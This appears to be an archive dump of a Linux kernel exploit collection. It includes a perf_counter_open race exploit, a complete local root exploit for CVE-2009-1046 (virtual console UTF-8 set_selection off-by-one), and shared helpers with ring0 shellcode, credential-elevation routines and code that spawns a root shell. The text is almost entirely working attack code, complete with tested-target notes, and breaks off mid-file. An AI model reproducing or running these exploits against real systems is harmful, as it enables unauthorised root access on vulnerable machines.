| } 61 | exploits/exp_perfcount_race.c0000644000076500000240000000701411442345507016115 0ustar enricostaff#define _GNU_SOURCE 62 | 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | #include 74 | #include 75 | #include 76 | #include "kernel_header.h" 77 | 78 | #undef __NR_perf_counter_open 79 | #ifdef __x86_64__ 80 | #define __NR_perf_counter_open 298 81 | #define BUF_SIZE 0x100 82 | #else 83 | #define __NR_perf_counter_open 336 84 | #define BUF_SIZE 0x80 85 | #endif 86 | 87 | volatile long check=0; 88 | 89 | struct perf_counter_attr { 90 | unsigned int type; 91 | unsigned int size; 92 | }; 93 | 94 | static void kernel_payload() 95 | { 96 | kernel_rise_privileges(); 97 | return_to_userland(); 98 | } 99 | 100 | 101 | static unsigned long prepare_mapping(const char* filestr) 102 | { 103 | int fd,fd_odirect; 104 | char *anon_map, *private_map; 105 | unsigned long *val; 106 | 107 | 108 | fd_odirect = open(filestr, O_RDWR|O_DIRECT|O_CREAT, S_IRUSR|S_IWUSR); 109 | if(fd_odirect < 0) 110 | __fatal_errno(" [!!] open: O_DIRECT"); 111 | 112 | 113 | /* create anonymous+private file mapping for the following reasons: 114 | - this is the racer-buffer, it is composed by two pages: 115 | the first page is created within an ANONYMOUS mapping, the second is a PRIVATE mapping on a file (which cache is kept away) 116 | - the start of the buffer is page aligned and can be used for writing into the O_DIRECT file descriptor 117 | */ 118 | 119 | anon_map = mmap(NULL, _page_size*2, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); 120 | if(anon_map == MAP_FAILED) 121 | __fatal_errno("[!!] mmap: MAP_ANONYMOUS"); 122 | 123 | memset(anon_map, 0x00, _page_size); 124 | 125 | /* use anonymous aligned address to write into O_DIRECT fd */ 126 | val = (unsigned long *)anon_map; 127 | 128 | /* PAGE_SIZE is always multiple of disk block size */ 129 | if(write(fd_odirect, val, _page_size) < 0) 130 | __fatal_errno("[!!] write: O_DIRECT"); 131 | 132 | 133 | fd = open(filestr, O_RDWR); 134 | if(fd < 0) 135 | __fatal_errno("[!!] open: unable to open file"); 136 | 137 | if(munmap(anon_map + _page_size, _page_size) < 0) 138 | __fatal_errno("[!!] munmap: unable to unmap"); 139 | 140 | /* avoid using MAP_FIXED which can create file-cache troubles */ 141 | private_map = mmap(anon_map + _page_size, _page_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); 142 | if(private_map == MAP_FAILED) 143 | __fatal_errno("[!!] mmap: MAP_PRIVATE"); 144 | 145 | 146 | #ifdef __KERNEL_DEBUG 147 | 148 | __msg_f("[**] Anonymous Map: %p, File Map: %p\n", anon_map, private_map); 149 | 150 | #endif 151 | 152 | 153 | return (unsigned long)private_map; 154 | } 155 | 156 | 157 | static volatile int racer=0; 158 | static int racer_thread(void *buff) 159 | { 160 | int total = (BUF_SIZE - sizeof(unsigned long)) / sizeof(unsigned long),i; 161 | unsigned long *p_addr = buff; 162 | 163 | /* loop until race */ 164 | while(!racer); 165 | check=1; 166 | for(i=0; isize = BUF_SIZE; 195 | ctr->type = 0xFFFFFFFFUL; 196 | 197 | racer=1; 198 | if(syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL) < 0) 199 | __fatal_errno("[!!] perf_counter_open: failed, system is not vulnerable"); 200 | 201 | return 0; 202 | } 203 | 204 | exploits/exp_tiocl_houdini.c0000644000076500000240000003073211442345507015752 0ustar enricostaff/* CVE-2009-1046 Virtual Console UTF-8 set_selection() off-by-one(two) Memory Corruption 205 | * Linux Kernel <= 2.6.28.3 206 | * 207 | * coded by: sgrakkyu antifork.org 208 | * http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html 209 | * 210 | * Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow 211 | * 212 | * NOTE-1: you need a virtual console attached to the standard output (stdout) 213 | * - physical login 214 | * - ptrace() against some process with the same uid already attached to a VC 215 | * - remote management .. 216 | * 217 | * NOTE-2: UTF-8 character used is: U+253C - it seems to be supported in most standard console fonts 218 | * but if it's _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines) 219 | * If you use an unsupported character expect some sort of recursive fatal ooops:) 220 | * 221 | * Designed to be built as x86-64 binary only (SLUB ONLY) 222 | * SCTP stack has to be available 223 | * 224 | * Tested on target: 225 | * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server) 226 | * Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server) 227 | * Fedora Core 10 x86_64 (default installed kernel - without selinux) 228 | * 229 | */ 230 | 231 | 232 | #define _GNU_SOURCE 233 | #include 234 | #include 235 | #include 236 | #include 237 | #include 238 | #include 239 | #include 240 | #include 241 | #include 242 | #include 243 | #include 244 | #include 245 | #include 246 | #include 247 | #include 248 | #include 249 | #include 250 | #include 251 | #include 252 | #include "kernel_header.h" 253 | 254 | #ifndef __x86_64__ 255 | #error "Architecture Unsupported" 256 | #error "This code was written for x86-64 target and has to be built as x86-64 binary" 257 | #else 258 | 259 | #ifndef __u8 260 | #define __u8 uint8_t 261 | #endif 262 | #ifndef __u16 263 | #define __u16 uint16_t 264 | #endif 265 | #ifndef __u32 266 | #define __u32 uint32_t 267 | #endif 268 | #ifndef __u64 269 | #define __u64 uint64_t 270 | #endif 271 | 272 | 273 | #define STREAM_ZERO 10 274 | #define STREAM_ZERO_ALT 12 275 | 276 | #define SCTP_STREAM 22 277 | #define USER_STACK_SIZE 0x1000 278 | #define PAGE_SIZE 0x1000 279 | #define STRUCT_PAGE 0x0000000000000000 280 | #define STRUCT_PAGE_ALT 0x0000000100000000 281 | #define CODE_PAGE 0x0000000000010000 282 | #define LOCALHOST "127.0.0.1" 283 | #define KMALLOC "kmalloc-128" 284 | #define TIMER_LIST_FOPS "timer_list_fops" 285 | 286 | 287 | #define CJUMP_OFF 13 288 | char ring0[]= 289 | "\x57" // push %rdi 290 | "\x50" // push %rax 291 | "\x65\x48\x8b\x3c\x25\x00\x00\x00\x00" // mov %gs:0x0,%rdi 292 | "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41" // mov xxx, %rax 293 | "\xff\xd0" // callq *%rax 294 | "\x58" // pop %rax 295 | "\x5f" // pop %rdi 296 | "\xc3"; // retq 297 | 298 | 299 | /* conn struct */ 300 | static __u16 srvport; 301 | struct sockaddr_in server_s; 302 | static struct sockaddr_in caddr; 303 | 304 | /* some fds.. */ 305 | static int g_array[10]; 306 | static int fd_zmap_srv=-1; 307 | static int kmalloc_fd=-1; 308 | static int unsafe_fd[4] = {-1,-1,-1,-1}; 309 | 310 | /* misc */ 311 | static int dorec = 0, cankill=1, highpage=0; 312 | static char cstack[USER_STACK_SIZE*2]; 313 | static __u16 zstream=STREAM_ZERO; 314 | static __u64 fops; 315 | static pid_t child=0; 316 | static char symbuf[20000]; 317 | 318 | static void __free_stuff() 319 | { 320 | int i; 321 | for(i=3; i<2048; i++) 322 | { 323 | if((unsafe_fd[0] == i || unsafe_fd[1] == i || 324 | unsafe_fd[2] == i || unsafe_fd[3] == i)) 325 | continue; 326 | 327 | close(i); 328 | } 329 | } 330 | 331 | static void bindcpu() 332 | { 333 | cpu_set_t set; 334 | CPU_ZERO(&set); 335 | CPU_SET(0, &set); 336 | 337 | if(sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0) 338 | __fatal_errno("setaffinity"); 339 | } 340 | 341 | /* parse functions are not bof-free:) */ 342 | static __u64 get_fops_addr() 343 | { 344 | FILE* stream; 345 | char fbuf[512]; 346 | char addr[64]; 347 | 348 | stream = fopen("/proc/kallsyms", "r"); 349 | if(!stream) 350 | __fatal_errno("open: kallsyms"); 351 | 352 | memset(fbuf, 0x00, sizeof(fbuf)); 353 | while(fgets(fbuf, sizeof(fbuf), stream) > 0) 354 | { 355 | char *p = fbuf; 356 | char *a = addr; 357 | memset(addr, 0x00, sizeof(addr)); 358 | fbuf[strlen(fbuf)-1] = 0; 359 | while(*p != ' ') 360 | *a++ = *p++; 361 | p += 3; 362 | if(!strcmp(p, TIMER_LIST_FOPS)) 363 | return strtoul(addr, NULL, 16); 364 | } 365 | 366 | return 0; 367 | } 368 | 369 | static int get_total_object(int fd) 370 | { 371 | char name[32]; 372 | char used[32]; 373 | char total[32]; 374 | char *ptr[] = {name, used, total}; 375 | int ret,i,toread=sizeof(symbuf)-1; 376 | char *p = symbuf; 377 | 378 | lseek(fd, 0, SEEK_SET); 379 | memset(symbuf, 0x00, sizeof(symbuf)); 380 | while( (ret = read(fd, p, toread)) > 0) 381 | { 382 | p += ret; 383 | toread -= ret; 384 | } 385 | 386 | p = symbuf; 387 | do 388 | { 389 | for(i=0; i= 0) 497 | { 498 | if(dorec != 0 && c >= dorec && idx < 10) 499 | { 500 | g_array[idx] = ret; 501 | if(idx==9) 502 | { 503 | fd_zmap_srv = ret; 504 | caddr = tmp; 505 | break; 506 | } 507 | idx++; 508 | } 509 | c++; 510 | write_sctp(ret, &tmp, zstream); 511 | } 512 | 513 | sleep(1); 514 | return 0; 515 | } 516 | 517 | 518 | static int do_mmap(unsigned long base, int npages) 519 | { 520 | void*addr = mmap((void*)base, PAGE_SIZE*npages, 521 | PROT_READ|PROT_WRITE|PROT_EXEC, 522 | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); 523 | 524 | if(MAP_FAILED == addr) 525 | return -1; 526 | 527 | memset(addr, 0x00, PAGE_SIZE*npages); 528 | 529 | return 0; 530 | } 531 | 532 | pid_t start_listener() 533 | { 534 | pid_t pid; 535 | pid = clone(clone_thread, cstack+USER_STACK_SIZE-8, 536 | CLONE_VM|CLONE_FILES|SIGCHLD, NULL); 537 | 538 | return pid; 539 | } 540 | 541 | static void do_socks(struct sockaddr_in *s, __u16 stream) 542 | { 543 | int i,fd; 544 | int n_objs = get_total_object(kmalloc_fd), tmp_n_objs; 545 | int next=8; 546 | 547 | for(i=0; next != 0; i++) 548 | { 549 | fd = create_and_init(); 550 | 551 | tmp_n_objs = get_total_object(kmalloc_fd); 552 | if(!dorec && tmp_n_objs != n_objs) 553 | dorec=i; 554 | 555 | conn_and_write(fd, s, stream); 556 | if(dorec) 557 | next--; 558 | } 559 | } 560 | 561 | 562 | static void clr(int fd) 563 | { 564 | /* use termcap instead..*/ 565 | write(fd, "\33[H\33[J", 6); 566 | } 567 | 568 | static char tiobuffer[2048]; 569 | void alloc_tioclinux() 570 | { 571 | int i; 572 | char out[128*3]; 573 | /* Unicode Character 'BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL' (U+253C) */ 574 | char utf8[3] = { 0xE2, 0x94, 0xBC }; 575 | struct tiocl_selection *sel; 576 | char *t; 577 | void *v = malloc(sizeof(struct tiocl_selection) + 1); 578 | t = (char*)v; 579 | sel = (struct tiocl_selection *)(t+1); 580 | memset(out, 0x41, sizeof(out)); 581 | for(i=0; i<128; i++) 582 | { 583 | tiobuffer[(i*3)]=utf8[0]; 584 | tiobuffer[(i*3)+1]=utf8[1]; 585 | tiobuffer[(i*3)+2]=utf8[2]; 586 | } 587 | 588 | *t = TIOCL_SETSEL; 589 | sel->xs = 1; 590 | sel->ys = 1; 591 | sel->xe = 43; 592 | //sel->xe = 42; /* no overflow */ 593 | sel->ye = 1; 594 | 595 | write(1, tiobuffer, sizeof(tiobuffer)); 596 | if(ioctl(1, TIOCLINUX, v) < 0) 597 | __fatal("[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n"); 598 | } 599 | 600 | 601 | 602 | static void migrate_evil_fd() 603 | { 604 | int i; 605 | pid_t child; 606 | 607 | __msg("[**] Migrate evil unsafe fds to child process..\n"); 608 | child = fork(); 609 | if(!child) 610 | { 611 | 612 | /* preserve evil fds */ 613 | setsid(); 614 | if(!cankill) /* cant die .. */ 615 | while(1) 616 | sleep(1); 617 | else 618 | { 619 | sleep(10); /* wait execve() before */ 620 | for(i=0; i<4; i++) 621 | close(unsafe_fd[i]); 622 | 623 | exit(1); 624 | } 625 | } 626 | else 627 | { 628 | if(!cankill) 629 | __msg_f("[**] Child process %d _MUST_ NOT die ... keep it alive:)\n", child); 630 | } 631 | } 632 | 633 | 634 | static void trigger_fault() 635 | { 636 | char *argv[]={"/bin/sh", NULL}; 637 | int fd,i; 638 | 639 | fd = open("/proc/timer_list", O_RDONLY); 640 | if(fd >= 0) 641 | { 642 | ioctl(fd, 0, 0); 643 | __free_stuff(); 644 | migrate_evil_fd(); 645 | 646 | for(i=0; i<4; i++) 647 | close(unsafe_fd[i]); 648 | 649 | if(!getuid()) 650 | { 651 | __msg("[**] Got root!\n"); 652 | execve("/bin/sh", argv, NULL); 653 | } 654 | } 655 | else 656 | { 657 | __msg("[**] Cannot open /proc/timer_list"); 658 | __free_stuff(); 659 | } 660 | } 661 | 662 | 663 | 664 | static void overwrite_fops( int sender, 665 | struct sockaddr_in *to_receiver, 666 | int receiver) 667 | { 668 | char *p = NULL; 669 | if(!highpage) 670 | p++; 671 | else 672 | p = (void*)STRUCT_PAGE_ALT; 673 | 674 | __u64 *uip = (__u64*)p; 675 | *uip = fops; 676 | write_sctp(sender, to_receiver, 1); 677 | sleep(1); 678 | trigger_fault(); 679 | } 680 | 681 | static __u16 get_port() 682 | { 683 | __u16 r = (__u16)getpid(); 684 | if(r <= 0x400) 685 | r+=0x400; 686 | return r; 687 | } 688 | 689 | int main(int argc, char *argv[]) 690 | { 691 | int peerx, peery,i; 692 | __u64 *patch; 693 | 694 | srvport = get_port(); 695 | 696 | /* kernel framework */ 697 | user_mode_set_env(); 698 | 699 | fops=get_fops_addr(); 700 | if(!fops) 701 | { 702 | __msg("[!!] Unable to locate symbols...\n"); 703 | return 1; 704 | } 705 | 706 | /* get the right fops entry */ 707 | fops += 64; 708 | 709 | 710 | __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", kernel_rise_privileges); 711 | patch = (__u64*)(ring0 + CJUMP_OFF); 712 | *patch = (__u64)kernel_rise_privileges; 713 | 714 | __msg_f("[**] Using port: %d\n", srvport); 715 | __msg("[**] Getting slab info...\n"); 716 | kmalloc_fd = get_kmalloc_fd(); 717 | if(!get_total_object(kmalloc_fd)) 718 | __fatal("[!!] Only SLUB allocator supported\n"); 719 | 720 | 721 | __msg("[**] Mapping Segments...\n"); 722 | __msg("[**] Trying mapping safe page..."); 723 | if(do_mmap(STRUCT_PAGE, 1) < 0) 724 | { 725 | __msg("Page Protection Present (Unable to Map Safe Page)\n"); 726 | __msg("[**] Mapping High Address Page (dont kill placeholder child)\n"); 727 | if(do_mmap(STRUCT_PAGE_ALT, 1) < 0) 728 | __fatal_errno("mmap"); 729 | 730 | cankill=0; /* dont kill child owning unsafe fds.. */ 731 | highpage=1; /* ssnmap in higher pages */ 732 | zstream=STREAM_ZERO_ALT; 733 | } 734 | else 735 | __msg("Done\n"); 736 | 737 | __msg("[**] Mapping Code Page... "); 738 | if(do_mmap(CODE_PAGE, 1) < 0) 739 | __fatal_errno("mmap"); 740 | else 741 | __msg("Done\n"); 742 | 743 | memcpy((void*)CODE_PAGE, ring0, sizeof(ring0)); 744 | 745 | __msg("[**] Binding on CPU 0\n"); 746 | bindcpu(); 747 | 748 | __msg("[**] Start Server Thread..\n"); 749 | child = start_listener(); 750 | sleep(3); 751 | 752 | do_socks(&server_s, zstream); 753 | for(i=0; i<7; i++) 754 | { 755 | close(g_array[8-1-i]); 756 | } 757 | clr(1); 758 | alloc_tioclinux(); // trigger overflow 759 | peerx = create_and_init(); 760 | connect_peer(peerx, &server_s); 761 | peery = create_and_init(); 762 | connect_peer(peery, &server_s); 763 | 764 | sleep(1); 765 | 766 | unsafe_fd[0] = peerx; 767 | unsafe_fd[1] = g_array[8]; 768 | unsafe_fd[2] = peery; 769 | unsafe_fd[3] = g_array[9]; 770 | 771 | __msg("\n"); 772 | __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv); 773 | __msg_f("[**] Unsafe fd: ( "); 774 | 775 | for(i=0; i<4; i++) 776 | __msg_f("%d ", unsafe_fd[i]); 777 | __msg(")\n"); 778 | 779 | 780 | __msg("[**] Hijacking fops...\n"); 781 | overwrite_fops(fd_zmap_srv, &caddr, peery); 782 | 783 | /* if you get here.. something nasty happens...the box might crash..*/ 784 | 785 | __free_stuff(); 786 | __msg("[**] Exploit failed.. freezing process\n"); 787 | kill(getpid(), SIGSTOP); 788 | return 0; 789 | } 790 | 791 | #endif 792 | exploits/kernel_env.c0000644000076500000240000000451211456530244014371 0ustar enricostaff#include 793 | #include 794 | #include 795 | #include 796 | #include 797 | #include 798 | #include 799 | #include 800 | #include "kernel_header.h" 801 | 802 | /* arch dependent data/code */ 803 | 804 | #ifdef __x86_64__ 805 | 806 | unsigned long __rdtsc() 807 | { 808 | unsigned long __tsc; 809 | asm volatile( 810 | "pushq %%rax\t\n" 811 | "pushq %%rdx\t\n" 812 | "xorq %%rdx, %%rdx\t\n" 813 | "xorq %%rax, %%rax\t\n" 814 | "rdtsc\t\n" 815 | "shlq $32, %%rdx\t\n" 816 | "orq %%rdx, %%rax\t\n" 817 | "movq %%rax, %0\t\n" 818 | "popq %%rdx\t\n" 819 | "popq %%rax\t\n" 820 | : "=r"(__tsc) : : "rdx", "rax" 821 | ); 822 | return __tsc; 823 | } 824 | 825 | 826 | #endif 827 | 828 | 829 | unsigned long get_sym_kallsyms(const char* symstr) 830 | { 831 | FILE* stream; 832 | char fbuf[256]; 833 | char addr[32]; 834 | 835 | stream = fopen("/proc/kallsyms", "r"); 836 | if (stream == NULL) 837 | __fatal_errno("open: kallsyms"); 838 | 839 | memset(fbuf, 0x00, sizeof(fbuf)); 840 | while(fgets(fbuf, 256, stream) > 0) 841 | { 842 | char *p = fbuf; 843 | char *a = addr; 844 | memset(addr, 0x00, sizeof(addr)); 845 | fbuf[strlen(fbuf)-1] = 0; 846 | while(*p != ' ') 847 | *a++ = *p++; 848 | p += 3; 849 | if(!strcmp(p, symstr)) 850 | return strtoul(addr, NULL, 16); 851 | } 852 | 853 | return 0; 854 | } 855 | 856 | 857 | /* arch independent data/code */ 858 | 859 | void user_mode_set_env() 860 | { 861 | user_mode_set_segment(); 862 | memset(stack, 0x00, sizeof(stack)); 863 | _alternate_stack = (unsigned long)stack; 864 | _alternate_code = (unsigned long)shell_exec; 865 | _process_uid = getuid(); 866 | _process_gid = getgid(); 867 | _page_size = sysconf(_SC_PAGESIZE); 868 | commit_creds = (void*)get_sym_kallsyms("commit_creds"); 869 | prepare_kernel_cred = (void*)get_sym_kallsyms("prepare_kernel_cred"); 870 | 871 | #ifdef __KERNEL_DEBUG 872 | __msg_f("[**] commit_cred=%p\n", commit_creds); 873 | __msg_f("[**] prepare_kernel_cred=%p\n", prepare_kernel_cred); 874 | #endif 875 | } 876 | 877 | void shell_exec(void) 878 | { 879 | char *argv[2] = {"/bin/sh", NULL}; 880 | execve("/bin/sh", argv, NULL); 881 | printf("[!!] Execve failed!\n"); 882 | exit(1); 883 | } 884 | 885 | int start_thread(int (*f)(void *), void *arg) 886 | { 887 | char *stack = calloc(1, STACK_SIZE); 888 | int tid; 889 | if(stack == NULL) 890 | __fatal_errno("calloc"); 891 | 892 | tid = clone(f, stack + STACK_SIZE - sizeof(unsigned long), 893 | CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg); 894 | 895 | if (tid < 0) { 896 | free(stack); 897 | __fatal_errno("clone"); 898 | } 899 | return tid; 900 | } 901 | 902 | 903 | exploits/kernel_header.h0000644000076500000240000000313511442345507015037 0ustar enricostaff#ifndef __KERNEL_HEADER_H 904 | #define __KERNEL_HEADER_H 905 | 906 | #include 907 | 908 | #define __KERNEL_DEBUG 909 | 910 | 911 | #define STACK_SIZE 8192 912 | 913 | 914 | #ifdef __KERNEL_DEBUG 915 | 916 | #ifndef __msg_f 917 | #define __msg_f(format, args...) \ 918 | do { fprintf(stdout, format, ## args); } while(0) 919 | #endif 920 | 921 | #ifndef __msg 922 | #define __msg(msg) \ 923 | do { fprintf(stdout, "%s", msg); } while(0) 924 | #endif 925 | 926 | #ifndef __fatal_errno 927 | #define __fatal_errno(msg) \ 928 | do { perror(msg); exit(1); } while(0) 929 | #endif 930 | 931 | #ifndef __fatal 932 | #define __fatal(msg) \ 933 | do { fprintf(stderr, msg); exit(1); } while(0) 934 | #endif 935 | 936 | #else 937 | 938 | #ifndef __msg_f 939 | #define __msg_f(format, args...) 940 | #endif 941 | 942 | #ifndef __msg 943 | #define __msg(msg) 944 | #endif 945 | 946 | #ifndef __fatal_errno 947 | #define __fatal_errno(msg) 948 | #endif 949 | 950 | #ifndef __fatal 951 | #define __fatal(msg) 952 | #endif 953 | 954 | #endif // __KERNEL_DEBUG 955 | 956 | 957 | 958 | 959 | 960 | 961 | 962 | /* arch independent data */ 963 | 964 | int (*commit_creds)(void *); 965 | void* (*prepare_kernel_cred)(void *); 966 | 967 | /* user mode context */ 968 | extern unsigned long _user_cs; 969 | extern unsigned long _user_ss; 970 | extern unsigned long _user_rflags; 971 | extern unsigned long _alternate_code; 972 | extern unsigned long _alternate_stack; 973 | extern unsigned long _page_size; 974 | extern uint32_t _process_uid; 975 | extern uint32_t _process_gid; 976 | extern char stack[STACK_SIZE]; 977 | 978 | extern void user_mode_set_env(void); 979 | extern void user_mode_set_segment(void); 980 | extern unsigned long get_sym_kallsyms(const char*); 981 | extern void shell_exec(void); 982 | extern void kernel_rise_privileges(void); 983 | extern void return_to_userland(void); 984 | extern unsigned long __rdtsc(void); 985 | extern int start_thread(int (*f)(void *), void *arg); 986 | extern char *mmap_file_private(int fd, size_t size, int prot); 987 | 988 | 989 | 990 | 991 | #endif // __KERNEL_HEADER_H 992 | exploits/kernel_shellcode.c0000644000076500000240000000703111442345507015543 0ustar enricostaff#include 993 | #include 994 | #include 995 | #include 996 | #include 997 | #include 998 | #include 999 | #include 1000 | #include 1001 | #include "kernel_header.h" 1002 | 1003 | #define PAGE_SIZE 0x1000 1004 | #define PAGE_MASK4K (~(PAGE_SIZE -1)) 1005 | #define PAGE_MASK8K (~(PAGE_SIZE*2 -1)) 1006 | 1007 | /* arch dependent data/code */ 1008 | 1009 | #ifdef __x86_64__ 1010 | 1011 | int (*commit_creds)(void *); 1012 | void* (* prepare_kernel_cred)(void *); 1013 | 1014 | void user_mode_set_segment() 1015 | { 1016 | asm("movq %%cs, %0\t\n" 1017 | "movq %%ss, %1\t\n" 1018 | "pushfq\t\n" 1019 | "popq %2\t\n" 1020 | : "=r"(_user_cs), "=r"(_user_ss), "=r"(_user_rflags) : : "memory"); 1021 | } 1022 | 1023 | 1024 | void return_to_userland() 1025 | { 1026 | asm volatile ( 1027 | "swapgs ;" 1028 | "movq %0, 0x20(%%rsp)\t\n" 1029 | "movq %1, 0x18(%%rsp)\t\n" 1030 | "movq %2, 0x10(%%rsp)\t\n" 1031 | "movq %3, 0x08(%%rsp)\t\n" 1032 | "movq %4, 0x00(%%rsp)\t\n" 1033 | "iretq" 1034 | : : "r" (_user_ss), 1035 | "r" (_alternate_stack + (STACK_SIZE)/2), 1036 | "r" (_user_rflags), 1037 | "r" (_user_cs), 1038 | "r" (_alternate_code) 1039 | ); 1040 | } 1041 | 1042 | #else // X86_32 1043 | 1044 | /* 1045 | * Returns 0 if the stack is invalid, 1 otherwise. 1046 | */ 1047 | 1048 | static int is_valid_stack(unsigned long temp) 1049 | { 1050 | if (temp > 0xc0000000 && temp < 0xff000000) { 1051 | long state = *((unsigned long *)temp); 1052 | if (state == 0) 1053 | return 1; 1054 | else 1055 | return 0; 1056 | } 1057 | return 0; 1058 | } 1059 | 1060 | void user_mode_set_segment() 1061 | { 1062 | asm("movl %%cs, %0\t\n" 1063 | "movl %%ss, %1\t\n" 1064 | "pushfl\t\n" 1065 | "popl %2\t\n" 1066 | : "=r"(_user_cs), "=r"(_user_ss), "=r"(_user_rflags) : : "memory"); 1067 | } 1068 | 1069 | void return_to_userland() 1070 | { 1071 | asm volatile ( 1072 | "movl %0, 0x10(%%esp)\t\n" 1073 | "movl %1, 0x0c(%%esp)\t\n" 1074 | "movl %2, 0x08(%%esp)\t\n" 1075 | "movl %3, 0x04(%%esp)\t\n" 1076 | "movl %4, 0x00(%%esp)\t\n" 1077 | "iret" 1078 | : : "r" (_user_ss), 1079 | "r" (_alternate_stack + (STACK_SIZE)/2), 1080 | "r" (_user_rflags), 1081 | "r" (_user_cs), 1082 | "r" (_alternate_code) 1083 | ); 1084 | } 1085 | 1086 | #endif 1087 | 1088 | 1089 | /* arch independent code */ 1090 | 1091 | unsigned long _user_cs; 1092 | unsigned long _user_ss; 1093 | unsigned long _user_rflags; 1094 | unsigned long _alternate_code; 1095 | unsigned long _alternate_stack; 1096 | unsigned long _page_size; 1097 | uint32_t _process_uid; 1098 | uint32_t _process_gid; 1099 | char stack[STACK_SIZE]; 1100 | 1101 | 1102 | 1103 | /* 1104 | * Computes the address of the task_struct from the 1105 | * address of the kernel stack. Returns NULL on failure. 1106 | */ 1107 | 1108 | static void *get_task_struct() 1109 | { 1110 | unsigned long stack,ret,stack4k,stack8k; 1111 | int dummy; 1112 | stack = (unsigned long)&dummy; 1113 | stack4k = stack & PAGE_MASK4K; 1114 | stack8k = stack & PAGE_MASK8K; 1115 | 1116 | #ifdef __x86_64__ 1117 | 1118 | ret = *((unsigned long *)stack8k); 1119 | 1120 | #else // x86_32 1121 | 1122 | ret = *((unsigned long*)stack4k); 1123 | if(!is_valid_stack(ret)) { 1124 | ret = *((unsigned long*)stack8k); 1125 | if (!is_valid_stack(ret)) 1126 | return NULL; 1127 | } 1128 | #endif 1129 | 1130 | return (void*)ret; 1131 | } 1132 | 1133 | 1134 | #define TRESHOLD 1100 1135 | static void __kernel_rise_priv_old(void* t) 1136 | { 1137 | int i; 1138 | uint32_t *k = t; 1139 | for(i=0; i